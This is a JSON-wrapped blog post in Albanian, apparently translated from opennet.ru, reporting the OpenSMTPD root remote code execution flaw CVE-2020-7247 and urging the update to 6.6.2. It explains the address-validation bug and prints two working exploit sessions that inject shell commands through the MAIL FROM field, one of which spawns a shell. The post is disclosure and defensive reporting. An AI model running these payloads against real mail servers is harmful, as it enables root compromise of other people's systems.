{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"Nj\u00eb vulnerabilitet n\u00eb OpenSMTPD, q\u00eb lejon ekzekutimin e kodit nga larg me t\u00eb drejtat e root-it","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb projektin n\u00eb zhvillim OpenBSD p\u00ebr serverin e post\u00ebs OpenSMTPD<\/a><\/noindex> u zbulua vulnerabiliteti kritik<\/a><\/noindex> (CVE-2020-7247), e cila lejon ekzekutimin e komandeve shell n\u00eb server me t\u00eb drejtat e p\u00ebrdoruesit root. Dob\u00ebsia u identifikua gjat\u00eb nj\u00eb auditi t\u00eb dyt\u00eb, t\u00eb kryer nga kompania Qualys Security (auditi i m\u00ebparsh\u00ebm OpenSMTPD u krye<\/a><\/noindex> n\u00eb vitin 2015, nd\u00ebrsa dob\u00ebsia e re \u00ebsht\u00eb e pranishme q\u00eb nga maji i vitit 2018). Problemi \u00ebsht\u00eb eliminuar<\/a><\/noindex> ndodhet n\u00eb versionin OpenSMTPD 6.6.2. T\u00eb gjith\u00eb p\u00ebrdoruesve u rekomandohet t\u00eb instalojn\u00eb urgjentisht p\u00ebrdit\u00ebsimin (p\u00ebr OpenBSD, rregullimi mund t\u00eb instalohet p\u00ebrmes syspatch).<\/p>\n

Jan\u00eb propozuar dy variante t\u00eb sulmit. Varianti i par\u00eb punon n\u00eb konfigurimin OpenSMTPD si\u00e7 \u00ebsht\u00eb gjithmon\u00eb (pranimi i k\u00ebrkesave vet\u00ebm nga localhost) dhe lejon shfryt\u00ebzimin e problemit n\u00eb m\u00ebnyr\u00eb lokale, kur sulmuesi ka mund\u00ebsi t\u00eb aksesoj\u00eb nd\u00ebrfaqen e rrjetit lokal (loopback) n\u00eb server (p.sh., n\u00eb sistemet e hostimit). Varianti i dyt\u00eb shfaqet n\u00eb rastin e konfigurimit t\u00eb OpenSMTPD p\u00ebr t\u00eb pranuar k\u00ebrkesat e rrjetit t\u00eb jasht\u00ebm (serveri i post\u00ebs, q\u00eb pranon email nga pal\u00eb t\u00eb treta). K\u00ebrkuesit kan\u00eb p\u00ebrgatitur nj\u00eb prototip t\u00eb eksploitit, i cili funksionon me sukses si me variantin OpenSMTPD t\u00eb p\u00ebrfshir\u00eb n\u00eb OpenBSD 6.6, ashtu edhe me versionin e tij portativ p\u00ebr OS t\u00eb tjera (t\u00eb testuar n\u00eb Debian Testing).<\/p>\n

Problemi \u00ebsht\u00eb shkaktuar nga nj\u00eb gabim n\u00eb funksionin smtp_mailaddr(), i cili thirret p\u00ebr t\u00eb verifikuar sakt\u00ebsin\u00eb e vlerave n\u00eb fushat \u00abMAIL FROM\u00bb dhe \u00abRCPT TO\u00bb, q\u00eb p\u00ebrcaktojn\u00eb d\u00ebrguesin\/merr\u00ebsin dhe q\u00eb d\u00ebrgohen gjat\u00eb lidhjes me serverin e post\u00ebs. P\u00ebr t\u00eb verifikuar pjes\u00ebn e adres\u00ebs s\u00eb post\u00ebs q\u00eb vjen p\u00ebrpara simbolit \u00ab@\u00bb, n\u00eb smtp_mailaddr() thirret funksioni
\nvalid_localpart(), i cili konsideron si t\u00eb lejuara (MAILADDR_ALLOWED) simbolet \u00ab!#$%&\u2019*\/?^`{|}~+-=_\u00bb, sipas k\u00ebrkesave t\u00eb RFC 5322. <\/p>\n

N\u00eb k\u00ebt\u00eb rast, ekranuar direkt t\u00eb vargut b\u00ebhet n\u00eb funksionin mda_expand_token(), i cili z\u00ebvend\u00ebson vet\u00ebm simbolet \u00ab!#$%&\u2019*?`{|}~\u00bb (MAILADDR_ESCAPE). M\u00eb pas, vargu i p\u00ebrgatitur n\u00eb mda_expand_token() p\u00ebrdoret gjat\u00eb thirrjes s\u00eb agentit t\u00eb dor\u00ebzimit (MDA) p\u00ebrmes komand\u00ebs \u2018execle(\u2018\/bin\/sh\u2019, \u2018\/bin\/sh\u2019, \u2018-c\u2019, mda_command,\u2026\u2019. N\u00eb rastin e vendosjes s\u00eb let\u00ebrthirjes n\u00eb mbox p\u00ebrmes \/bin\/sh, ekzekutohet vargu \u2018\/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}\u2019, ku vlera \u2018%{mbox.from}\u2019 p\u00ebrmban t\u00eb dh\u00ebna t\u00eb ekranuara nga parametri \u2018MAIL FROM\u2019.<\/p>\n

Thelbi i k\u00ebsaj dob\u00ebsie \u00ebsht\u00eb se smtp_mailaddr() ka nj\u00eb gabim logjik, i cili b\u00ebn\u00eb q\u00eb n\u00eb rastin e d\u00ebrges\u00ebs s\u00eb nj\u00eb domeni t\u00eb zbraz\u00ebt n\u00eb email, funksioni kthen nj\u00eb kod t\u00eb suksessh\u00ebm verifikimi, edhe n\u00ebse pjesa e adres\u00ebs para \u00ab@\u00bb p\u00ebrmban simbole t\u00eb pap\u00ebrshtatshme. M\u00eb pas, gjat\u00eb p\u00ebrgatitjes s\u00eb vargut nga funksioni mda_expand_token(), nuk ekranuar t\u00eb gjith\u00eb simbolet speciale q\u00eb mund t\u00eb p\u00ebrdoren n\u00eb shell, por vet\u00ebm simbolet e lejuara n\u00eb adres\u00ebn e post\u00ebs. K\u00ebshtu, p\u00ebr t\u00eb ekzekutuar komand\u00ebn e tij, mjafton t\u00eb p\u00ebrdor\u00eb n\u00eb pjes\u00ebn lokale t\u00eb emailit simbolin \u00ab;\u00bb dhe hap\u00ebsir\u00ebn, t\u00eb cilat nuk hyjn\u00eb n\u00eb grupin MAILADDR_ESCAPE dhe nuk ekranuar.<\/p>\n

$ nc 127.0.0.1 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;sleep 66;>
\n RCPT TO:<root>
\n DATA
\n .
\n QUIT<\/p>\n

After this session, OpenSMTPD will execute the command through the shell when delivering to mbox <\/p>\n

\/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n

Megjithat\u00eb, mund\u00ebsit\u00eb e sulmit kufizohen nga fakti se pjesa lokale e adres\u00ebs nuk mund t\u00eb kaloj\u00eb 64 simbole, dhe simbolet speciale \u2018$\u2019 dhe \u2018|\u2019 z\u00ebvend\u00ebsohen me \u2018:\u2019 gjat\u00eb ekranuar. P\u00ebr t\u00eb anashkaluar k\u00ebt\u00eb kufizim, \u00ebsht\u00eb shfryt\u00ebzuar fakti se trupi i emailit transmetohet pas ekzekutimit t\u00eb \/usr\/libexec\/mail.local p\u00ebrmes rrjedh\u00ebs hyr\u00ebse, pra, p\u00ebrmes manipulimeve me adres\u00ebn mund t\u00eb aktivizohet vet\u00ebm interpretuese komanduese sh dhe t\u00eb p\u00ebrdoret trupi i emailit si nj\u00eb grup udh\u00ebzimesh. Duke qen\u00eb se n\u00eb fillim t\u00eb emailit tregohet informacione t\u00eb sh\u00ebrbimit SMTP, p\u00ebr t'i anashkaluar ato propozohet p\u00ebrdorimi i thirrjes s\u00eb komand\u00ebs read n\u00eb nj\u00eb cik\u00ebl. Eksploiti i funksionuesh\u00ebm merr nj\u00eb form\u00eb t\u00eb till\u00eb:<\/p>\n

$ nc 192.168.56.143 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
\n RCPT TO:<root@example.org>
\n DATA
\n #0
\n #1
\n \u2026
\n #d
\n for i in W O P R; do
\n echo -n \u00ab($i) \u00bb && id || break
\n done > \/root\/x.\u2018id -u\u2019.\u2018$$\u2019
\n .
\n QUIT<\/p>\n

<\/a><\/noindex><\/p>\n

Burimi: opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Vulnerability in OpenSMTPD allowing remote code execution with root privileges | ProHoster","description":"A vulnerability has been identified in the developing OpenBSD mail server OpenSMTPD","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/sq\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}